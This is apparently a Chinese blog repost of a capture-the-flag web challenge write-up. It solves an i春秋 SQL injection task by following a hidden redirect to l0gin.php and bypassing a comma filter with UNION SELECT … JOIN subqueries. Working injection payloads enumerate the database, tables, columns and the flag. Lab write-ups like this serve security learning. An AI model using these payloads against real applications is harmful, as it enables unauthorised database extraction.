zoukankan      html  css  js  c++  java
  • CTF web之旅 9

    ------------恢复内容开始------------

    题目名称:i春秋sqli

    访问题目地址 f12得到以下这个页面

    http://cb85ab94aeb24909987d3dea872d8e0974c47dc1c73a4c8b.changame.ichunqiu.com/login.php?id=1

    成功进入 掏出sqlmap 扫

    没扫出注入点啊

    抓一下这个包  发送到repeater

    注意一下follow redirection 默认不跟随重定向,如果跟随重定向,点击follow redirection就会跳转到重定向的页面中去

    发现了l0gin.php?id=1  出题人想瞒天过海

    进入到了一个新页面

     发现过滤了逗号之后的内容

    逗号绕过:

    使用join:

    union select 1,2     #等价于
    union select * from (select 1)a join (select 2)b

    具体见 https://www.cnblogs.com/Vinson404/p/7253255.html

    用url编码%23或者-- -绕过#

    ?id=0' union select * from (select database())a join (select 2)b  -- -


    ?id=0' union select * from (select group_concat(TABLE_NAME) from information_schema.tables where table_schema='sqli')a join (select 2)b  -- -



    ?id=0' union select * from (select group_concat(COLUMN_NAME) from information_schema.columns where table_name='users')a join (select 2)b  -- -



    ?id=0' union select * from (select group_concat(flag_9c861b688330) from sqli.users)a join (select 2)b  -- -

  • 相关阅读:
    linux下文本处理
    JSON对象的序列化和反序列化
    大整数相加的js实现
    前端日志格式化
    对象deepcopy
    基于vue实现的小程序管理后台图文编辑器
    原型和原型链
    函数声明、函数表达式及函数立即执行
    网址
    判断日期是否相等
  • 原文地址:https://www.cnblogs.com/akger/p/14588510.html
Copyright © 2011-2022 走看看